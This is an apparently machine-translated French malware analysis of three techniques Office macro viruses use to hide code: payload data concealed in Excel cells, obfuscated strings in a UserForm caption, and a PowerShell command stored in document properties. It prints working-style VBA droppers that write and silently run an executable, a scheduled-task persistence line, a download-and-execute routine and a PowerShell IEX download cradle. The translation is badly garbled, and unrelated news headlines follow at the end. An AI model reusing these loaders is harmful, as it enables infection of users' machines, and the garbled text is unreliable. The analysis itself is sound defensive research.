Secret technique: le code du virus Macro trois Invisibilité

A propos de 0x00

En tant que classe de virus anciens, les virus macro et avec la montée du retour ransomware. Surtout en 2016, avec Locky représenté l'extorsion généralisée de propagation des macros Office d'utilisation du logiciel, le virus de macro est devenue l'une des espèces de virus présente le plus actif.

Dans la confrontation avec le logiciel de sécurité, les virus macro utilisent divers moyens pour cacher leur code malveillant ou de données, l'émergence récente de nouvelles variantes est d'utiliser la fonction de feuille de calcul Excel générer dynamiquement des données de fichier PE, mis en place l'emplacement de stockage à distance, affichage caché, différent etc peau de commutation de table. Ensuite, l'équipe du moteur 360QEX sera le code du virus macro trois un « Invisibilité » populaire par un secret.

tableur Excel 0x01 aux données masquer

  • Exemples de fichiers md5: 48f202f903741e7a1722bfa6b4c051aa.xls
  • SHA256: 083a05000c4b8e9a88a0ff8a95a3d9826dd389b440bb1781237ca124b0d986a7

les résultats d'analyse VirusTotal:

échantillon VBAProject lui-même est crypté,

Après la pause, nous avons vu la mise en uvre de la fonction de saisie du code macro Auto_Open,

Sub Auto_Open () On Error Resume Next Application.DisplayAlerts = False Dim WB Comme classeur Set WB = ActiveWorkbook Dim SH1 SH2, SH3 comme feuille de travail Set Sh1 = WB.Sheets (1) Set Sh2 = WB.Sheets (2) Set SH3 = WB.Sheets (3) Dim de As String str = Sh2.Cells (996, 40) Dim t As Date t = Maintenant + TimeSerial (0, 0, 1) Application.OnTime t, str End Sub

Les auteurs de virus utilisent des fonctions Application.OnTime, 1 seconde d'intervalle, effectuez chaîne « str », la valeur de « str » est acquise à partir des cellules de table (996, 40), lorsque le virus se trouve dans le tableau pour voir où la valeur des changements dans Excel format de cellule, la dissimulation de données d'affichage.

Lorsque les trois cellules mise en forme ;;;, le contenu des cellules seront cachés.

Format de cellule est un défaut, l'ensemble initial,

Après avoir enlevé la peau, la valeur dans la vue de la table est Fnslr12, à savoir le nom de la fonction de la fonction d'entrée du virus, le code de fonction,

Sous Fnslr12 () On Error Resume Next Application.DisplayAlerts = False appel de construction Feuilles (1) .Select Dim WB Comme classeur Set WB = ActiveWorkbook Dim SH1 SH2, SH3 comme feuille de travail Set Sh1 = WB.Sheets (1) Set Sh2 = WB.Sheets (2) Si les cellules (2, 1) < >  « » Alors GoTo skyhigh End If « » « Ci-après abrégé

Ainsi, la fonction principale de ce code de fonction est un virus.

Cette fonction est là,

1, Appel de construction

Construire appel de fonction, la fonction build fonction: générée dynamiquement dans le tableau, les données nécessaires pour écrire des fichiers exécutables (fichiers PE), dont le code fonction brièvement comme suit,

Sous Construction () Feuilles (2) .Select Set WB = ActiveWorkbook Set Sh1 = WB.Sheets (1) Set Sh2 = WB.Sheets (2) « Emplacement Bob i = Sh2.Cells (1000, 12) j = Sh2.Cells (1000, 13) « Emplacement de la table Index R = Sh2.Cells (1000, 10) C = Sh2.Cells (1000, 11) Compteur = R Do While Sh2.Cells (compteur, C) < >  ' " Si Sh2.Cells (compteur, C + 1) < >  « » Alors S1 = Sh2.Cells (Compteur, C) S2 = Sh2.Cells (Compteur, C + 1) End If Compteur = Compteur + 1 boucle Les cellules (i, j) .Select Gamme (sélection, Selection.End (xlDown)). Sélectionnez Selection.Cut Range ( "i1001"). Sélectionnez ActiveSheet.Paste Les cellules (1, 1) .Select End Sub

En fonction des résultats d'exploitation en 1001 sur la ligne, chacune des données de remplissage de ligne de manière séquentielle.

2, que ce soit pour exécuter une fois pour les tests

Si les cellules (2, 1) < >  « » Alors GoTo skyhigh End If

Lorsqu'il est exécuté une fois après, les cellules (2,1) Le tableau de valeur est écrite, sera ici pour entrer dans la déclaration Effectuez ensuite la mention « Aller à skyhigh », « skyhigh » marque est positionnée à la fonction de queue, à savoir la mise en uvre de la déclaration quittera la fonction.

3

estimation intention du code, les auteurs de virus à générer un fichier nommé VBS Macro1.vbs en% userprofile% AppDataRoamingMicrosoftTemplates,

Dim Fnslr1 As String Dim Fnslr2 As String Fnslr2 = (environnent Sh2.Cells (998, 40)) et "AppDataRoamingMicrosoftTemplatesMacro1.vbs" ChDrive (Fnslr2) Si Dir (Fnslr2) = "" Ensuite, autre End If

Où, le chemin du répertoire pour générer un fichier de patchwork de virus lu à partir des cellules de table (998, 40) 2, la valeur de la userprofile variable d'environnement.

Mais, les auteurs de virus ne continuent d'améliorer le code correspondant. Les échantillons de test de fonctionnement réels ne sont pas aussi générer le fichier, les auteurs spéculent sur le suivi possible de se joindre à la fonction ou la fonction a été annulée.

4

En% serprofile% AppDataRoamingMicrosoftTemplates répertoire un fichier exécutable Macro1.exe,

Dim i As Double i = 1000 Fnslr1 = "Macro1.exe" Fnslr2 = (environnent Sh2.Cells (998, 40)) et "AppDataRoamingMicrosoftTemplates" Fnslr3 = FreeFile () Ouvrez Fnslr1 Pour binaire Fnslr3 Do While Sh2.Cells (i, 9) < >  ' " Fnslr11 = Sh2.Cells (i, 9) Si (Fnslr9 = True) then Fnslr8 = 1 Do While (Fnslr8 <  Len (Fnslr11)) Fnslr6 = Sh2.Cells (997, 40) & Mid (Fnslr11, Fnslr8, 3) Mettez # Fnslr3 ,, Fnslr6 Fnslr8 = Fnslr8 + 3 boucle End If Si Fnslr9 = False Then Fnslr9 = True End If i = i + 1 boucle Fermer # Fnslr3 Dim Fnslr10 As String Fnslr10 = Fnslr1 Fnslr7 = Shell (Fnslr10, vbHide) Dim i As Double i = 1000 Fnslr1 = "Macro1.exe" Fnslr2 = (environnent Sh2.Cells (998, 40)) et "AppDataRoamingMicrosoftTemplates" Fnslr3 = FreeFile () Ouvrez Fnslr1 Pour binaire Fnslr3 Do While Sh2.Cells (i, 9) < >  ' " Fnslr11 = Sh2.Cells (i, 9) Si (Fnslr9 = True) then Fnslr8 = 1 Do While (Fnslr8 <  Len (Fnslr11)) Fnslr6 = Sh2.Cells (997, 40) & Mid (Fnslr11, Fnslr8, 3) Mettez # Fnslr3 ,, Fnslr6 Fnslr8 = Fnslr8 + 3 boucle End If Si Fnslr9 = False Then Fnslr9 = True End If i = i + 1 boucle Fermer # Fnslr3 Dim Fnslr10 As String Fnslr10 = Fnslr1 Fnslr7 = Shell (Fnslr10, vbHide)

Macro1.exe requis pour l'écriture de données à partir des cellules de feuille de calcul Excel 1001 lignes (997, 40) autour de la lecture, la position de départ est les données d'essais,

les codes de fonction Shell utilisent la queue, démarrer Macro1.exe généré.

Informations sur l'image

exécutable X64 bits est la fonction que le powershell vient paramètres de démarrage -enc, la mise en uvre d'un shellcode, ce shellcode est une coquille inverse, les pirates connexion serveur et attendre les ordres.

Cette section est créée avec l'offre un fonctionnement sans interruption des tâches planifiées résonna et cette partie ne fait l'objet de cet article, aucun détail.

5,

Dans le répertoire% serprofile% AppDataRoamingMicrosoftTemplates génèrent chauve-souris fichier script batch (cmd) Macro1.bat,

Fnslr2 = (environnent Sh2.Cells (998, 40)) et "AppDataRoamingMicrosoftTemplates" Dim utilisateur As String Utilisateur = (environnent Sh2.Cells (998, 40)) FNAME = Fnslr2 & "Macro1.bat" FNum = FreeFile Ouvrir Fname Pour la sortie d'accès en écriture Comme #FNum WholeLine = "SCHTASKS / Créer / SC HORAIRES / TN" & Sh2.Cells (1000, 3) et "Macro1" & Sh2.Cells (1000, 3) et "/ TR" & "" & utilisateur et "AppDataRoamingMicrosoftTemplates" & " Macro1.exe / ST 01h00 " Imprimer #FNum, WholeLine Fermer #FNum Dim TempFileName As String TempFileName = Fnslr2 & "Macro1.bat" Shell TempFileName, vbHide

Queue en utilisant la fonction Shell pour lancer le script, le résultat est la machine de l'utilisateur pour créer une tâche planifiée pour exécuter une fois par Macro1.exe généré un heure ci-dessus.

6, affichage contextuel saisir le mot de passe pour continuer à fonctionner

pword = InputBox ( « S'il vous plaît entrer un mot de passe pour continuer », « Mot de passe requis », « ******* ») Choisir le cas pword Case Is = "" MsgBox "Try Again" Cas « Alon2016 » RP = 1 cas Est < >  "Alon2016" MsgBox "Try Again" End Select

Connaître le code du virus, le mot de passe requis est « Alon2016 ».

7,

Suivant est le nettoyage du site et camouflent, retirez l'appel à la fonction de construction dans le tableau de données générées, stockées dans d'autres tables remplies courrier informations d'adresse du destinataire dans une position de premier plan au début de la table,

Résumé: Il est si spécial au sujet de cet échantillon:

  • les données de fichier PE est généré dynamiquement en utilisant une fonction
  • Les données stockées dans une feuille de calcul Excel, en utilisant un écran caché
  • emplacement de stockage des données loin, pas facile à voir
  • Virus dans différents tableau Excel pour commutateur, pour analyser plus difficile à déboguer le code VBA
  • Le virus a fini d'exécuter, nettoyer le site, affiche une liste d'adresses e-mail, de se cacher
  • 0x02 VBA formulaire utilisateur code-behind

    De tels virus cachés partie du code au projet VBA de contrôle de l'utilisateur (formulaire utilisateur), même dans le contrôle avec le code est réduit au minimum, de sorte qu'il ne peut pas être vu facilement.

    • Exemples de fichiers md5: 9266db6c7772f6c45411ff3a591b1374
    • SHA256: 9d11f2d2f0e0e5fd8a2ef552a5521920767d7939881443435296d0c600e4a71a

    les résultats d'analyse VirusTotal:

    Macro vue du fichier,

    Ce document ressemble à une des opérations SQL normales comme code de macro, mais a constaté que lorsque nous considérons la forme Ultra,

    Légende avoir un contrôle des données stockées comme suspect,

    D! Icrobrioft.XD! LHTTP10) Adodb.britr00aD! 10) brih00ll.Application10) Wbricript.brih00ll10) Proc00bribri10) G00T10) T00D! P10) Typ0010) op00n10) writ0010) r00briponbri00Body10) briav00tofil0010) hendib00.00x00

    Ces données de position est utilisée comme code dans la macro,

    CadenaCurrency (Ultra.CommandButton3.Caption, "00", "e")

    Ce qui, CadenaCurrency Replace est un simple appel,

    Fonction publique CadenaCurrency (A1 As String, A2 As String, A3 As String) As String CadenaCurrency = Remplacer (A1, A2, A3) End Function

    Procédé de déchiffrement qui,

    Dim aproblems As String aproblems = CadenaCurrency (Ultra.CommandButton3.Caption, "00", "e") aproblems = CadenaCurrency (aproblems, "D", "M") aproblems = CadenaCurrency (aproblems, "bri", "s") constans_problems = split (aproblems, "10)")

    décryptée,

    Microsoft.XMLHTTP Adodb.stream Shell.Application Wscript.shell processus GeT Temp type ouvert écriture responseBody SaveToFile hendibe.exe

    Plusieurs chaînes montrent une intention très claire, téléchargement (Microsoft.XMLHTTP) + fichiers d'écriture (Adodb.stream) + exécution (Shell.Application / Wscript.shell).

    Cet exemple parce que le code en question, n'a pas réussi et en cours d'exécution. Trouver le code de macro en utilisant les fichiers de téléchargement Position objet de Microsoft.XMLHTTP, plus le débogage point d'arrêt, d'abord en raison de la négligence, oublié d'écrire un guillemet, la compilation échoue,

    Ensuite, lorsque vous exécutez le fichier téléchargé, l'erreur est survenue.

    0x03 propriété de document intégré code caché

    Une telle partie malveillante de noyau du virus du code intégré dans les propriétés du document.

    • Exemples de fichiers md5: 0ce81eda6b6886163cf5dadffecc0df9
    • SHA256: 23d07a51f7a14a95a1efc55ad3f18cd5a71607156cd325256d43f0b68cfb62cd

    les résultats d'analyse VirusTotal:

    code macro VBA dans cet exemple, un seul fichier, très bref,

    Attribut VB_Name = "NewMacros" Sub Auto_Open () appel WinShell End Sub Sub AutoOpen () appel WinShell End Sub Fonction WinShell () As Object On Error Resume Next Err.Clear Dim ps As String ps = ActiveDocument.BuiltInDocumentProperties (le "gestionnaire"). Valeur Dim Obj As Object Set Obj = CreateObject ( "WScript.Shell") Obj.Run ps, 0 Application.DisplayAlerts = False End Function

    Ouvrez le document en réponse à deux événements, Autoopen avec Auto_Open, la fonction WinShell d'exécution directe, fonction intégrée WinShell lit les attributs de fichier, les valeurs Manager, procédez directement. valeur Manager, nous utilisons les attributs de fichier à droite, considérons comme,

    powershell.exe -Nop -w caché -c $ b = new-objet net.webclient; $ b.proxy = :: GetSystemWebProxy (); $ b.Proxy.Credentials = :: DefaultCredentials, IEX $ b.downloadstring ( '

    Une partie du code de script Powershell est exécuté, télécharger des fichiers à partir d'une URL spécifiée ( À l'heure actuelle le test n'a pas pu accéder à cette URL.

    résumé 0x04

    chantage Encrypted représenté par le virus, de plus en plus l'utilisation des macros Office, js, VBS et autres fichiers non-Pe à la propagation. Libéré par le code de script exécutable dynamique dans le répertoire Windows ou télécharger un fichier exécutable à partir du serveur.

    virus non PE tuer le moteur QEX est responsable de la mort de 360 produits de sécurité, les virus macro et vbs, js, html et autres moteurs de virus de script unique. L'échantillon est QEX ont été en train de tuer le moteur.

    Ici aussi rappelé aux utilisateurs d'utiliser la famille Microsoft Office de documentation du logiciel,

  • Tels que les besoins quotidiens sans utiliser des macros, désactivez macros Office désactivées par référence
  • https://support.office.com/zh-cn/article/%E5%90%AF%E7%94%A8%E6%88%96%E7%A6%81%E7%94%A8-Office-% E6% 96% 87% E6% A1% A3% E4% B8% AD% E7% 9A% 84% E5% AE% 8F-7b4fdd2e-174f-47e2-9611-9efe4f860b12
  • Pour les utilisateurs utilisent souvent le travail macro, installez le logiciel de sécurité et base de données de virus de la mise à jour régulièrement, d'autres envoyés au document, s'il vous plaît scanner avant de l'ouvrir.
  • Article original, auteur: Drops, reproduit à partir de: http: //www.mottoin.com/tech/115043.html, ont coupé

    Roi de gloire pour garder l'attaque au nom de la Zhuang, encore sortie d'explosion pure équipements de défense
    Précédent
    LOOKBOOK à l'égard de tir un tel! Colporteurs mis ces avantages tout le monde a dit qu'il était satisfait!
    Prochain
    Université Renmin de Chine auto-inscription: 9506 personnes en compétition pour 130 places
    Dans la couche de matériel de téléphone intelligent, la nature Google Pixel 3 ou AI
    réputation mondiale « Captain Marvel » Aspect secret détoné attendent les héros Marvel les plus forts éclairés vitalité joué avec les plus complexes
    AI éliminera ou écran vert, l'utilisation d'outils YouTube AI pour remplacer les effets spéciaux d'écran vert
    Trinidad soutien instantané, l'inventaire des compétences de combat carte complète
    Les étrangers habitude du café, ils ont le plus comme aller à Hong Kong, ce café « style chinois »
    Spécialiste en recrutement Guaixiang: certaines institutions « assez », mais une ligne d'admission des collèges sur deux lignes
    Audi plans pour mettre en service en Chine à l'avenir ou l'exposition Q4 obtenir la localisation
    « Louange de sable de Thunder! « Exposé la bande-annonce officielle de la nouvelle Jin Chaoying » pleine puissance « ont tiré rire
    Crit écoulement Shangxiang, tête de récolte tel que coupé melon légume
    « Lego » Film 2 dernières étoiles Papa d'exposition de remorque transporter avec vous 90 secondes avant l'examen
    ALL Huawei à Al: Amnesty International a publié une stratégie globale et l'ensemble des solutions de pile pleine scène, puce AI ne sera pas seul ventes à l'étranger